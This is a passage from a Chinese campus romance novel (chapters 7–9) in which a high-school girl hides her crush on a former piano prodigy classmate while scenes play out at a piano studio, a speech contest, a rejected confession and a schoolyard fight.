“嘶...前面那个男生好帅,长得好像柳北嘉之前无意给我们看的照片里的男生。” “你是说那个国际赛冠军吗?” “我去...想要个联系方式!” “别想了,你没看到他在看旁边的女生吗?两个人认识吧?” “怎么可能,我来这么久了,这个女生一看就面生,估计今天刚来吧,那首《卡农》一看就是新手弹的,刚刚我都听见了,他怎么可能会认识她。” 许苏意缓缓抬起头,目光放在远处。 前台忽然有道人影出现,很熟悉,几乎不需要思考。 不知道什么时候,他出现在这儿。 陈屿清正侧着身子和人说话,鸭舌帽下的眉眼冷隽,琴房门口几个女孩在聊着天,嘴里说着什么,兴许是声音有些大,他话顿了一下,漫不经心地看过去。 没看到那些女生,倒是看到了长发落在肩后,眼眸澄澈的许苏意。 许苏意看了他一眼,低头,没忍住再看一眼。 她没想到会遇见他。 有一瞬间许苏意反应都慢下来,刚刚那几个女生都听见琴房里的声响,不知道陈屿清听见没有。 她走过去,听见陈屿清低低的嗓音。 “最后那几个低音,你弹错了。” 许苏意头皮都紧了下,才想起来刚刚琴房门没关紧,“嗯,我知道。” 柳北嘉无语住了,他一拳轻打在陈屿清肩上:“你这会儿拆我台呢?合着刚刚跟我说话你没听,注意力全在别人课上了?” “没听到刚刚那老师说她有天赋,弹得很完美?我刚想问人小姑娘要不要报名续课。” 陈屿清眉梢轻抬,冷白轮廓在光线中格外利落:“学了这么多年琴,不允许我教她?” 外面雷声轰鸣,雨水霹雳吧啦地打在玻璃上,汇成一片落下。 陈屿清的话砸在心上,像烟花,整个人晕乎乎的。 扑通扑通,先前的情绪消失殆尽。 柳北嘉沉默半天,憋出两个字:“……认识?” 陈屿清手机响了,他拿出来看了眼,丢在吧台上,“昨天刚见,你说认不认识。” 柳北嘉“啧”一声,说行吧。 那几个女生看到这样的情景,连过来都不过来,直接走了。 许苏意用余光看陈屿清,她不知道要跟他说些什么。 外面雨下得特别大,出门时没带伞,一时半会儿她也走不了,有点尴尬。 柳北嘉似乎看穿了,“进来时看你也没带伞,先在这儿坐坐吧。” 许苏意说了谢谢,前台对面有张椅子,她坐在那儿,模样文静乖巧,像在等大人接的小孩。 琴行里有人冒出头,看到陈屿清在前台,喊他。 “上回你要的谱子给你扒出来了,你过来听听。” “一大男生,从小学,还需要我给你扒谱,真欠,说到底你给不给钱啊。” 陈屿清笑得随意,懒洋洋地回过去,“这不是技不如人么。” 说话的样子更欠了。 陈屿清手插着兜走过去,头顶是冷白的灯,投下的影子落在许苏意脚边,莫名地烫了她一下。 他对着许苏意说:“在这等我一下。” 许苏意反应慢下来,回他话时点头都点得乱七八糟,“哦,好。” 都不知道等他干嘛,就光点头了。 这模样落在柳嘉北眼里,许苏意耳朵都要红得不得了。 柳嘉北继续坐在那凳子上,雨下得特别大,也没什么客人来,他也不玩手机了,从抽屉里摸出一本书,没在看,装作不在意地开口:“你和陈屿清是朋友?” 许苏意摇头:“没有,我和他只是普通同学。” “同学啊。”柳嘉北眉梢一扬,“我和陈屿清打小认识,比他大七岁。” 许苏意看向他。 柳北嘉低低笑了下,从饮水机那儿倒了杯水给许苏意,闲聊着:“陈屿清他爸以前工作忙,有一回去参加什么聚会,说白了就是应酬,他爸那会儿没什么人脉,有个老总是音痴,想谱想不出来,诶,刚好里头有台钢琴,陈屿清按了个琴键,成了。说这小子有天赋,才四岁看什么天赋,后面学了钢琴,居然真被他说中了。” “这小子真有点本事在手。”柳嘉北笑起来,“后面他演出拿了这么多个冠军。” 他用手比了个数字,还报了个特别有含金量的比赛名字,陈屿清是冠军。 许苏意听得认真,被那个数字震惊到。 她只觉得陈屿清好厉害,没想到他弹钢琴这么厉害,根本看不出来,又觉得他这样的人,本就应该高坐神坛。 “只是后面他不学了。”柳嘉北叹了口气,觉得惋惜。 从小一起学音乐的,说不学就不学了,害他连个伴都没了。 许苏意想也不想就问,“为什么。” 柳嘉北哈哈一笑,卖了个关子,”那老总女儿就是你刚刚的体验老师,怎么样,她说你有天赋,你肯定就有天赋,要不要报名续课。“ 说了半天,就是为了这个。 许苏意被吊了胃口,整个人沉默下来,又有点无奈,好没意思地回答:“我考虑一下。” 柳北嘉看着许苏意,眉眼轻抬,笑得意味不明。 陈屿清的手机放在桌上没拿走,屏幕亮了好几下,柳嘉北以为是什么急事,拿起来又放下去,看了眼许苏意,念了上面的名字,声音不大,“朱宁茜?” 许苏意眼尖,琴行这么小,她坐得又不远,亮起来的瞬间她看到了。 是朱宁茜给陈屿清发的Q.Q消息,她在跟他说生日的事情。 所以,她加到了陈屿清的联系方式是吗。 都说陈屿清没办法加好友,那…… 是他主动加的?他已经同意要去朱宁茜生日聚会了是吗。 所以,她之前想的都会成真是吗。 许苏意眼睛涩得厉害,连带着喉咙都觉得酸,藏在心底的欢喜全被冲走,前不久的无力又充斥心头,连带着反应都慢下来。 不可以去在意,即使再难过也不可以暴露出半分。 许苏意紧握着手,垂眸,在心底呼吸了千万次,她第一次知道自己会因为一个人而这样地失魂落魄,牵肠挂肚。 雨势渐渐小了,窗户半开,少女额角的发丝被吹起,她身形娇小清瘦,这会儿呆坐在那儿看起来十足的手足无措。 柳北嘉见许苏意失了神,走过去关了窗,半打趣着:“只是普通同学的关系,怎么一听到有人给他发信息你就这样。” “你暗恋他啊。” 她自以为是扮演得很好,实际上在他人眼里成了拙劣的演技。 许苏意被他这句话点醒,瞪大了眼睛,所有的情绪都来不及遮掩,暴露在空气中。 柳北嘉挑眉:“看来是真的,要不要我帮你告诉他?” 与此同时,陈屿清的声音落在许苏意耳边,很近。 “走了。” 7.第 7 章 许苏意大脑瞬间发麻,整个人怔住,紧紧地抓着侧边裤子,心脏怦怦。 她这才发觉自己刚刚的反应有些大了。 柳北嘉还在意味深长地笑。 无人知晓的秘密,是无论如何都无法窥见天光的,是咬牙也要否认的心事。 许苏意状似自然地否认:“我没有。” 说完,她站起身,动作有些弧度,凳子划拉白色瓷砖,发出刺耳的声响。 “陈屿清。” 陈屿清正走向前台,弯腰抽出底下的雨伞,听到自己的名字,显然一怔。 没有太大的反应,许苏意确定他没听见刚刚的对话。 窗外雨声哗然,柳北嘉轻浅的笑声落在耳边,他摇了摇头,像是有什么话没说。 空气中安静半秒,许苏意目光扫过他,“我先走了。” 两步并作三步下楼,街道人烟稀少,烟雨蒙蒙,雨水被风裹挟,许苏意的脸感受到冰凉湿意,被她用手带去。 许苏意站在屋檐下,思绪飘荡。 陈屿清已经把手机放到口袋里了,所以他回去后会回复朱宁茜吗?一定会的吧,他那么有礼貌。 许苏意轻吸一口气,舌下像是压了颗柠檬,酸得不行。 她很羡慕朱宁茜,至少可以有勇气表明心迹。 附近的711便利店离这儿不到五百米,许苏意准备冒雨过去,忽然感受到手臂被人拉了一把,力道不重,可让她手臂到心脏再到全身都麻了。 “不是让你等我么?”熟悉的声音陡然落在耳边,许苏意已经被他带回屋檐下。 他伸出手,朝她递来一把黑伞。 指节分明的长指提着伞带,黑色的细带在他冷白的肌肤下碰出强烈的对比,雨声清脆,眼前所有的场景都被抹去,天地间仿佛只剩下他们俩。 “拿着。” 许苏意抬起眼眸,雨雾里,少年眉眼更加浅淡,黑色眼眸却宛如夜色般漆黑,充斥着强大的吸引力,让人忍不住想要接近他。 砰砰砰。 她的心跳太快了。 …… 陈屿清让许苏意等他就是为了借她这把伞,但这把伞许苏意一直没找到机会还。 出月考成绩和演讲比赛是同一天,周清雅特意给许苏意化了个淡妆,顺便还把口红塞进了她的书包里。 “今天没有下雨,怎么还把伞带去了?”周清雅见许苏意往书包里塞了把雨伞。 她记得这把伞,国庆假期许苏意特意清洗了一番,还用手作的香薰染了些味道,不重,不仔细闻闻不出来。 "这是同学借我的伞,要还回去的。”许苏意拉上书包拉链,“等我演讲比赛结束,周末再和你去工坊。” 最近要准备演讲比赛的事情,许苏意没怎么去工坊。 “工坊不着急你来。”周清雅想起这把伞在家放了好几天,“怎么等到今天才还?不是在家放了好几天吗?” 许苏意沉默下来,背上书包含糊着:“忘了。” 蒋川川给的比赛地址在市一中校礼堂,好几个学校的参赛选手都来了,前排坐着几个校领导和评委。 上午九点开始比赛,陈屿清几乎是踩着点到的,他低着头懒洋洋地坐在后排,长腿伸着,指节握着薄薄的手机,快速灵活地点着屏幕。 就着头顶冷白的光线,许苏意坐在她身旁用余光看到他在玩一款3D射击游戏,百发百中,她听过这款游戏,市面上很火,曾经也下载过,有些难,她玩不好。 大多同学都在争分夺秒地看自己手里的稿,只有陈屿清,还能在这种关头玩游戏。 许苏意收回目光时入口处有人进来跟他们坐在同一排,陈屿清的右手边。 他走进来时仰着头,要想坐到陈屿清的右手边必须经过许苏意。 “让开。” 许苏意正低着头背演讲稿,听到有人说话时她抬起头,收了脚。 蒋川川说过竞赛班班少,原则上并不会派同学参与这次比赛,但还是有同学报名。 没想到是章利,自从上回他和陈屿清打羽毛球熟了后许苏意就再没见到过他。 章利先是看了眼头都没抬的陈屿清,把目光放在许苏意的脸上。 她化了淡妆,本就漂亮的脸蛋更是精致,底妆服帖,整个人显得格外温婉。 他知道许苏意是班长,也知道她最近和陈屿清有交集。 “你名字是叫许苏意吧?”章利居高临下地看她。 “有事吗?”许苏意看他。其实她不太喜欢听人评价就对一个人有刻板印象,但他讨厌的人是陈屿清啊。 “听说你刚开学那天半路就跑了,没经过投票就当了重点班班长。” 陈屿清抬起了头,揉了揉耳朵。 章利注意到他的动作,有些烦,他是在嫌吵? “没投票就当班长,你的成绩是造假的吧?” 章利其实挺看不惯陈屿清的,看不惯他身边的每一个人,他总是那样淡然从容,仿佛什么都不看在眼里,包括他身边的每一个人。 之前在竞赛班就是这样,所有人都围着陈屿清转,原以为他离开竞赛班后,自己可以成为第一被所有人记住,没有想到周遭的人话题依旧围绕陈屿清,凭什么这样。 信手拈来的一句话,许苏意皱了眉,打心底里排斥章利:“成绩造假不能凭借你一句话就能下定论,你一定是私下看过我成绩,才能说出造假两个字吧?从哪儿看的?我们班班主任的办公室抽屉吗?” 这话拐着弯在说章利侵犯隐私。 章利急了,火冒三丈:“许苏意,你有病吧?我一个竞赛班的看你个二流———” 话还没说完,陈屿清起身,挡在了许苏意面前,“让让。” 章利无语了,冷笑:“陈屿清,关你什么事?” 陈屿清轻笑,手机在他手里转了一圈,单手插兜,嗓音清冷,压根儿不在乎他说了什么:“让让。” 章利忍不住抬高音量,“我让什么?没长眼睛吗?是我要过去。” “绕路。” 章利无语了,他反复说了几句,陈屿清压根儿不理他。 “我跟许苏意说话关你什么事?”章利气得咬牙切齿,“陈屿清,你给我看清楚,你知不知道让我绕路要绕多远?” 根本无法反击,偏偏章利位置在陈屿清右手边,一中的礼堂十分大,一排将近四十个学生的位置,他们在第四排,此刻后排人坐满了,过去不方便,所以将近要绕一整个礼堂。 陈屿清漫不经心地看了眼气急败坏的章利,神色淡淡:“要我再说一遍吗?” “绕路。” 许苏意侧目,男生的侧脸线条利落干脆,鼻梁挺立,初具成熟的气息像是生长的树木,蓬勃向上。 她悄然眨眼,心情像柔软的云朵,可还是要保持着所有的镇定,自然而然地扮演好同学关系。 周围已经有同学看过来了,章利受不了,陈屿清不走他根本没办法过去,只能愤愤绕路去了。 还没开始的争吵就这样被陈屿清提前制止了。 离开之前,章利狠狠地看过来一眼。 手里的演讲稿被许苏意紧紧捏着,褶皱痕迹凸显在A4纸上。 许苏意如同被凉风包裹,此刻失去了所有力气坐在他身旁,无法再暴露任何一点欣喜的瞬间。 全然只是因为他刚刚帮她了。 章利回到了座位,没再多说半个字。 十分钟后演讲比赛开始抽签,许苏意抽到的是第三个,半个小时后上台。 光线聚集在她身上,少女的脸白净,黑白校服,神色冷静,丝毫不怯场地脱稿,流畅的英文从她嘴里念出时温柔有力。 她像是月亮,散发着本该柔和又有力量的光。 陈屿清抬眸,关掉手机屏幕,看向许苏意。 许苏意没来得及听陈屿清的演讲稿,那会儿蒋川川把她叫了出去,说是月考成绩出了,她第二,陈屿清第一,数学和英语错了两道题,两人之间就差了六分,分数咬得很紧。 耳边传来清朗而又流畅的英文,在经过电流后显得更加的富有磁性。 许苏意忍不住回了个头,看向了站在台上的少年,他面色淡然地念着演讲稿,整个人散发着游刃有余的自信。 少年如坐神坛,炽热耀眼。 许苏意提前把伞放在了陈屿清的座位上,演讲结束下来时被他拿在手里。 空气里飘着丝丝清香,陈屿清微愣。 比赛结束时现场评委立马打分,七嘴八舌地讨论,当场出结果,决定许苏意和陈屿清并列第一。 在上台领取奖状证书的那瞬间,许苏意还有些发懵,直到她和陈屿清并肩,前排拍照的老师笑着说看镜头。 许苏意来不及反应,下意识 地露出笑。 “咔嚓”。 她和陈屿清有了第一张照片。 领奖完毕后,人群散去,许苏意听见蒋川川在和竞赛班老师聊天,说是章利这次没太用心,说白了就是轻敌,前三的名次都没拿上。 竞赛班老师有些可惜地摇摇头。 许苏意站在礼堂门口回过头,看到了不远处章利遥遥地望过来。 照片被许苏意藏在相册里,她赶在下午上课前回了学校。 中午占朴洛就给许苏意疯狂发消息,她说自己班级第八,温新南倒数第四,因为他语文考试那天迟到二十分钟,监考老师不允许他进场。 同时温新南被高二段长在广播处重点批评,为了防止有下例出现,让温新南抄了检讨。 许苏意回班时占朴洛抱着她化身尖叫鸡,“啊啊啊啊,苏意我真的是神来的!我赌赢了!温新南要包我一周值日!” 占朴洛太过激动,双手环抱着许苏意,把她的腰勒得很紧。 许苏意也很高兴,捏了捏占朴洛笑得通红的脸,“放学请你喝奶茶。” 相反,后排的温新南一看到陈屿清回来,马上就开始吐槽,说不过就二十分钟,“重点班分数这么紧,不至于吧。” 少年长腿勾着椅子,懒散坐下,耷拉着眼皮,“该,卫生做好点,检查别扣分。” 温新南破防了,想起这人是纪检部部长,一巴掌拍在书上,痛心不已,“我靠,回旋镖,早知道不让你加纪检部了。” 下午的课占朴洛上得特别开心,一直连到晚自习,她都笑得不行。 朱宁茜有点心不在焉的,晚自习前她找了许苏意借口红,“苏意,我看你前面吃饭的时候涂了口红,能不能借我一下呀?" 上午请假落下一些卷子没有订正,许苏意放学没回家吃完饭,没卸妆,晚饭三个人一起吃,她补口红时被看见了。 许苏意从书包里摸出口红给她,一支香奈儿的口红。 朱宁茜拿了口红说了谢谢,说晚点还她,又从书包里摸了个东西匆忙跑出教室。 神神秘秘的,许苏意不知道她要干嘛。 占朴洛凑近许苏意,用手拢着嘴,悄声在她耳边说:“宁茜去找陈屿清告白了。” 九个字,许苏意大脑轰地一下子炸开了。 她不知道要有什么反应才是对的,半天才说:“宁茜不是约的月考后吗?不是还有几天才到吗?” 她们之前的计划不是这样的。 占朴洛耸耸肩,摊手,脸上写着茫然两个字:“不知道,就突然改变主意了。” 许苏意抿了抿唇,好几分钟心脏都没缓过来,无可否认,这件事还是让她多想了。 她想起了那个雨天在琴行看到的消息,都加好友了,计划赶不上变化,后来许苏意和朱宁茜说过她没问到陈屿清喜欢什么这件事的答案。 朱宁茜挥挥手说没事,她已经有了另外的想法。 这就是她的想法吗?提前告白。 看了好几遍班门口,人来人往踩着黄昏进来,朱宁茜还没回来。 温新南提着几个橙子进来,说校门口水果摊买的,摊主说巨甜,他丢给班里人分了,占朴洛也收到一个,因为月考的事情他们之间话多了不少。 乔彦林颠了颠手里的橙子,“陈屿清不跟你一起吗?” 温新南靠在椅背上,说话不太正经:“他不是被女生约出去了吗?” 许苏意整个人都顿住了,快要窒息,他们还在聊天。 “又有女生找他告白啊?” 温新南不以为然,多了去了女生找陈屿清告白,一个个的害他都没时间和人打游戏,“这不正常吗?” “那你也不给他留几个橙子,全分了啊?”乔彦林已经开始剥橙子了,看着空空如也的塑料袋他觉得有些奇怪,平常陈屿清和温新南两个人关系特别好,有东西都一起分。 温新南一个无所谓的眼神看过来,“陈屿清从来不吃橙子。” “他橙子过敏,吃不了碰不了也闻不了,所以有关橙子的东西他都不喜欢。” “把窗开开,一会儿还要散味道。” 他橙子过敏。 吃不了碰不了也闻不了。 有关橙子的东西他都不喜欢。 话语落在耳边,许苏意笔尖狠狠在书上划出长线,整个人再也受不住,起身,出教室。 8.第 8 章 许苏意和占朴洛说的是去洗手间。 这个点校园里的人不多,落日余晖洒在走廊灰色的地砖上,许苏意一脚踩过去。 洗手间没人,许苏意开了水龙头洗手。 她心不在焉,忽然就听见身旁几个女孩结伴而行,在旁边一边洗手一边聊天。 “诶,你刚刚看见了吗?理重七班那个学委刚在外面跟陈屿清散步。” “有吗?我没看见。” “我听说那个学委和陈屿清走得很近,经常问题目,之前不是操场上给他送水吗,这事儿谁不知道。” “我刚好像看见了,那个学委手上还拿着信,不会是告白吧?告白了还散步,这不代表同意了吗?” 许苏意想关水龙头,听到这句话,硬生生的顿住,她失神,忘了关水龙头。 接话的女生有些诧异:“我去,陈屿清不会是为爱从竞赛班转重点班吧?不然怎么会这样,他平常身边都没女生啊。” “太有可能了,以后身边又少了个可以关注的帅哥,但是……” 几个女生洗完手离开,声音渐渐听不清。 洗手池空无一人,能听见清晰的晚风以及水流声潺潺。 许苏意终于回过神,关上水龙头。 被冲洗了半天的手已经冰冷的快要感知不到温度。 这不是许苏意第一次知道有人向陈屿清告白。 自从他转来重点班后,才一个多月就有不少女生找他告白。 陈屿清人正性子好,就像是电视剧里天定的主角光环,礼貌谦卑,尊重女生,不会给她们难堪,掉面儿,所以连拒绝都是挑选私下无人的地方。 后面再也没见到同样的女孩再来找他,不知道说了什么样的话,那些女生没有一个不是夸他的。 大家猜想陈屿清说了什么,但他总是靠在椅背上,眉眼懒淡笑着,长腿伸着不应话,拿他没办法。 朱宁茜是学委,找过陈屿清问题目,也说过几次关于班里的话题,陈屿清都一一回答了,尽管后来不知道怎么回事,次数少了。 但无论怎么说,能够在告白后还能继续散步,除了答应,许苏意实在想不出来还能有其他什么原因。 许苏意回过头,操场上人已经多了许多,好几个都是班上同学,她鼻子一酸,眼睛跟着涩然。 步子一转,指尖用力掐着掌心。 许苏意往平日纪检部开过最多次的空教室走去。 不是很想回教室,樾往空教室走越安静。 推开教室的门,随意找了张桌子坐着,趴下。 压抑了许久的情绪在这一秒的寂静中破土而出,许苏意眼眶发热,差点哭出来。 明明和其他的事情相比起来,这件事真的算不上什么。 像是得了无法根治的偏头痛,隐隐发作,蔓延每一个细胞,直至刺痛心脏。 暗恋为什么会这么难过,首先是因为想要得到,其次是因为清楚的知道没有结果。 不要去想,不要去注意,结果都一样。 眼泪没有落下,许苏意哭不出来,心脏酸涩的厉害,她单纯的只是需要一个安静的地方放空,再把情绪放纵。 明明什么都没想,偏偏许苏意失了神,没有注意到身后细碎的游戏声。 天空被染成深蓝色,风吹起窗帘一角,光线落在米色课桌上,对角的影子被拉长,照映在面前。 许苏意困惑的转过头去,遥遥的对上了坐在那儿的少年的目光。 少年坐着,背靠墙面,身型落拓,长腿曲着,清隽而富有冷感的脸朝向她。 冷白指节还握着手机,屏幕在昏暗的教室里极具亮眼,显示着许苏意没看过的游戏,不是上午的那款3D射击游戏。 女生表情低落,似乎对许苏意的出现有些诧异,陈屿清顿了半秒,神色凛然。 是许苏意想了很久的人,陈屿清。 他不是正在和朱宁茜散步吗?为什么会在这里。 心脏疯狂涌出不知名的情绪,许苏意瞬间整理好所有的心思,看着眼前的人,状似自然地开口:“你怎么在这儿?” 陈屿清语调很轻,漫不经心地晃了晃手里的手机:“这不是显而易见么?” 说话间,由于游戏长时间无人操作,屏幕显示出“Defeat”的英文,宣告游戏失败。 陈屿清熄屏,锁屏的声音在寂静之中格外清晰。 “你....”许苏意有些意外,她垂着眼,愣愣问:“你不是和宁茜散步去了吗?” “谁说的?”陈屿清沉默了一会,若有所思,“普通同学,不耽误人学习啊。” 许苏意心脏重重跳了一拍,垂着眼没说话。 他的被关注度太高了,是那些女生以谣传谣了。 陈屿清将目光放回手机,他点开手机屏幕,指腹滑动,再次点开了那款游戏。 屏幕上显示的是一款多人在线的竞技游戏,许苏意看着陈屿清操控他手上的男角色和他人在战斗台上近身格斗和博弈。 许苏意过年时会走访亲戚,一些亲戚家的小孩玩的就是这款游戏,当下很火,他们总是会在玩游戏时发出大声喊叫,不服输地骂人。 陈屿清安静无声地灵活预判对面的招数,预判走位,每个技能精准丢中,连招防身反思杀,最后轻飘飘的走人。 一系列操作下来利落干脆,可见他熟练且厉害的程度。 学校禁止带手机,而平日里外人口中的“优等生”“年级第一”然在做起这种事来都带着莫名的闪光点,吸引力,让人不经意地想要偏向他。 这一局,游戏屏幕上显示的是“Victory”。 陈屿清结算了页面,不知道想到什么。冷白手指拿着手机递给了许苏意,眉眼淡淡:“要玩么?” 许苏意被他的提议给惊到,瞪大了眼睛,手指下意识地指向自己:“我吗?” 少年薄唇微张,喉间吐出轻笑,在夜里格外好听,他低低打趣:“怎么?蒋老师派你来抓我的?” “所以好学生,不敢成为我的共犯?” 他的,共犯。 共犯吗?好自然亲近的称呼。 其实蒋川川知道了又能怎么样呢?他上午才拿了奖,又是月考第一,顶多是说两句就结束了。 而这样的话语,仿佛是把她划向他的那一边,两个人有了连接。 许苏意想也没想地就回答了:“我没有。” 手机落在许苏意掌心,银白色的薄边,却有些重量,她脑海里第一时间想的却是—— 啊,怎么办,她没玩过,不会玩。 陈屿清给许苏意开了训练模式,让她用新手自带的一把弓箭先射中地图对面的靶子,然后就可以射击里面的假人,一步一步就可以和里面的人物博弈,倒也是十分有游戏体验感,不至于出糗。 相比陈屿清刚刚的局面,许苏意选的是个女角色,温文尔雅的表面,实际冷淡疏离,念着专属于她的台词。 许苏意一手摇杆一手按键,算不上百发百中,却也能玩个七八分。 许苏意眼睫眨了眨,轻声问:“你很喜欢玩游戏吗?” 陈屿清眼尾挑起,没听见这句话,轻轻“嗯?”了一声。 许苏意却没说话了,她显然不想再问。 陈屿清就这么坐在许苏意身旁,视线落在眼前少女身上,她扎着马尾,一双杏眼湿润澄澈,随着游戏的难度升级,她的眼眸愈发专注。 许苏意比他玩的时候还要认真。 松开右手的按键,弓箭正中靶心,屏幕上方显示用时8秒,得分7。 后来一关比一关难过,许苏意玩得入神,全然忘了刚刚的情绪。 左上角有个排名表,陈屿清的人物是全服第一,甩了第二名八百七十二分,许苏意猜想陈屿清一定玩了很久,他的好胜心比她想的还要多。 没有玩多久许苏意就把手机还给陈屿清,她用手揉了揉脸。 一共18关,后面的靶子越来越远也越来越多,许苏意很难判断距离,而上面的战绩显示: 射击次数301次,用时四分十二秒。 不用他回答,她应该猜到陈屿清喜欢什么了。 陈屿清慢条斯理地收了手机,坦荡地看向许苏意,唇角带着弧度,“下回开心点。” 许苏意一怔,心跳接二连三地乱跳,她又被他抓到了对吗? 他看出她所有的情绪了,他没问,没说,只是借给她他的手机,让她自由发泄。 尽管知道陈屿清一直都是个有礼貌有分寸感的人,平时在班里遇到需要帮助的同学陈屿清多多少少都会帮助,无可否认,他就是很有教养的少年。 所以无论这一刻是不是她,陈屿清都一定会这样吧。可许苏意这一刻还是被他所打动。 她的青春里,大约是不会再遇见像陈屿清这样好的少年了。 许苏意和他说谢谢,声音柔软,露了个笑。 陈屿清收了手机,背过身朝许苏意挥了挥手,“走了,回教室。” 许苏意轻轻“嗯”了一声,还来不及说一些什么,陈屿清就已经推开教室的门。 她盯着他落拓背影,目光停滞,长久地没有说话。 许苏意出教室后特意在外面透了会儿气,撞见从天台下来的朱宁茜,她手里拿着纸巾神色特别低落。 一看到许苏意就忍不住开始掉眼泪,“苏意,我告白失败了。” 没有痛哭,只是抽泣着说QQ上禁止添加好友但可以通过群聊发消息,朱宁茜亲自邀请陈屿清来参加她生日,没有想到被拒绝了。 但无论如何朱宁茜还是想告白,横竖想把这份心意告诉他。 其实意料之中的答案,但结果来临的那一刻还是很难过。 许苏意不知道要怎么安慰,抱着她拍着她的背,低声哄她:“宁茜别哭,我选择看六十秒广告恢复半小时前的你。” “还有你最喜欢的红茶和草莓小蛋糕奖励你的勇气。” 朱宁茜瞬间被逗笑:“呜呜呜,没啥大不了的,反正都已经结束了,跟这件事比起来高中时期学习才是最重要的。” “但是我不想待在纪检部了。” 朱宁茜擦干了眼泪,和许苏意说她要好好学习,不可以再有其他想法。 许苏意去小卖部买了瓶朱宁茜爱喝的红茶和小蛋糕,陪她回了教室。 只是没有想到这件事并没有过去。 过了几天,蒋川川不知从哪儿得知了朱宁茜告白的事,特意把她叫到办公室进行谈心。 高二理科组段长对这件事十分重视,但蒋川川却不以为然,认为朱宁茜品学兼优,能够平衡好这件事,朱宁茜给出的答案也十分满意。 她说自己递交了退出纪检部的申请书,作为班里学委,这学期期末考会进入年级前二十,以身作则。 蒋川川听了兴奋地拍了拍她的肩膀,放她回去。 朱宁茜走到一半,蒋川川忽然又想起了什么,让她把许苏意叫到办公室里来。 许苏意那会儿正在发这周周测表,班里闹哄哄的,温新南正在问陈屿清一会儿要不要下去打篮球。 今天是周一,陈屿清又趴在桌上睡,温新南推了他一把,没得到回复,揽着乔彦林的肩膀就去篮球场了。 许苏意抿唇,很轻地笑了下,把手里的周测表发完走出教室。 办公室里只有蒋川川一个老师,门没关,走廊上几个同学正在接水。 蒋川川关了电脑,看向眼前文静的少女,说话声轻柔:“苏意,之前老师让你和陈屿清好好沟通劝他回竞赛班的事情还记得吗?” 许苏意心里一顿,视线放在蒋川川桌面上的一沓纸,最上面那张是朱宁茜这学期所有科目的周测成绩。 她敛眸,“我记得。” 蒋川川循循善诱:“老师之前忘了问你,对这件事的看法。” 她笑着揉了揉太阳穴:“陈屿清来我们班,还挺讨喜的。” 潜台词藏在话里,许苏意心里乱七八糟的,她露出笑,声音轻飘飘的:“蒋老师,您放心。” “当下最重要的任务就是好好学习,没有精力想其他的,如果能劝他回竞赛班,也是很好的。” “而且,他只是对别人来说讨喜而已,对我来说,他只是同学。” 许苏意走出办公室时低着头,她张开掌心,才发觉已经出了很多汗。 再抬头,发现办公室门口站着正要去接水的占朴洛。 而不远处,是正在接水的陈屿清。 不知道他们来了多久。 许苏意一怔,干笑着:“你怎么在这儿?” 占朴洛朝陈屿清的方向努了努嘴,然后说:“接水啊,看到你在办公室就刚好在这里等你。” “没想到陈屿清早早就待在饮水机那里了。” 许苏意内心一咯噔,心想。 第三次被他抓到了,肯定被他听见了。 老天,陈屿清能不能马上请假退学。 他们之间好不容易能说上话的关系又要有了关键性退展。 完蛋了。 9.第 9 章 陈屿清在看到许苏意出来的那一刻就走了。 占朴洛挽着许苏意的手去饮水机那儿接水,按下“温水"键,水流进瓶口,她问:“刚刚蒋老师找你去办公室干嘛?” “怎么宁茜去办公室,你也去?” 许苏意装作惊讶的模样,“你刚刚没有听见吗?” “....” 占朴洛无语:“苏意你又幽默了。” “我走到门口的时候你刚好出来,再说了我问你肯定就是没听见呀。” “而且我满脑子都是陈屿清在饮水机那里,我想着他走了再过去还是直接过去,毕竟我跟他不熟,过去怪尴尬的,我看这个饮水机水流这么小他都快装完了,就打算在这里等你呢。” 占朴洛的一番话让许苏意心死了。 许苏意含糊着:“蒋老师没说什么,就是——” 还来不及说完话,朱宁茜从班级门口跑出来,左右看了眼,发现在走廊尽头装水的许苏意和占朴洛,立马冲过来,嘴里说着:“苏意,朴洛,快去篮球场!” “温新南和章利打起来了!” “什么!”占朴洛立马把饮水机暂停,拿着还没装满的水杯拉着许苏意就往楼下跑,“什么鬼啊,怎么打架了,快去看看!” 许苏意也不明白怎么回事,满脑子一团乱。 朱宁茜说刚刚乔彦林从篮球场跑回班,急急忙忙把陈屿清叫下去了。 篮球场上全是男生,几个女生站在旁边窃窃私语着什么,几个篮球滚落在一边,无人在意。 占朴洛纯属八卦,拉着许苏意和朱宁茜往人群里挤。 温新南拉着章利的领子,眼冒星火,咬牙切齿:“你他妈有种再说一遍!” 章利想用手拨开温新南的手,发现对方力气太大了,根本弄不开,干脆放弃,唇角青了一块,即使这样,依旧挂着讥讽:“我他妈说几遍都没事!” “陈屿清就是个逃兵!从竞赛班滚了,最好就永远不要回来!” 温新南怒火攻心,右手紧握拳高高扬起,“章利你他妈想死,再说一句陈屿清的不是——” 章利压根不怕,直直看着温新南,余光落在不远处,轻笑一声:“来,有本事再打我一拳,当着这么多人的面。” “来,来,打我。”章利指着自己的唇角,往温新南脸上顶:“就打这里,来。” 这副挑衅的模样让温新南根本控制不住,他带着少年人的莽撞,就要落下拳头。 在场的人心都紧了,占朴洛和朱宁茜更是眼睛直勾勾盯着,想要出声。 许苏意看了眼操场上的监控,胸口一闷,涌到嗓子眼的话停了。 温新南的拳头没落下,被陈屿清抓住了。 他冷冷地看了眼章利,声线平静:“阿南。” 两个字,温新南转过了头。 他想起儿时陈屿清也是这么叫他的,两个人从小一起长大,温新南从前被人欺负,陈屿清能够毫不犹豫地为他出手,那会儿也是喊他的小名“阿南。” 两个人的友情更是不用多说,就像陈屿清从竞赛班转入重点班,他也能一个字都不多想地跟来,尽管陈屿清劝过他很多次。 温新南松了手,“你怎么来了,这个傻逼一直在造谣,气死我了。” 章利拍了拍领口,嫌弃温新南的手,“造谣?陈屿清不就是从竞赛班滚出去的吗?” “实话实说,只有被说中的才会狗急跳墙。” 在场好几个都是同班同学,还有几个别班的人,竞赛班,重点班,平行班的人混杂着,大家低声说着什么。 这里头又有几个不认识陈屿清的。 许苏意紧着心看着。 温新南受不了了,张嘴就要反击回去,陈屿清已经开了口。 他眉眼淡然,清瘦挺立的身形就那么遥遥站在太阳底下,坦荡又自然,神色平静,像是丝毫没有被章利的话刺激到,“章利,你怕我回竞赛班。” 这句话简直是戳着章利的心说的。 章利又怎么不怕陈屿清回竞赛班,他怕极了,他讨厌陈屿清,讨厌他身边每一个人,讨厌陈屿清回了竞赛班后又是得第一,温新南第二的成绩,又有谁想起他,看得起他? 凭什么?上回的演讲比赛以为陈屿清去了重点班就会堕落,没想到他还是得了第一,章利被班主任点了几次名,被家长狠狠教育了一番,他心里不痛快极了。 尤其是班主任还无比期待陈屿清回来。 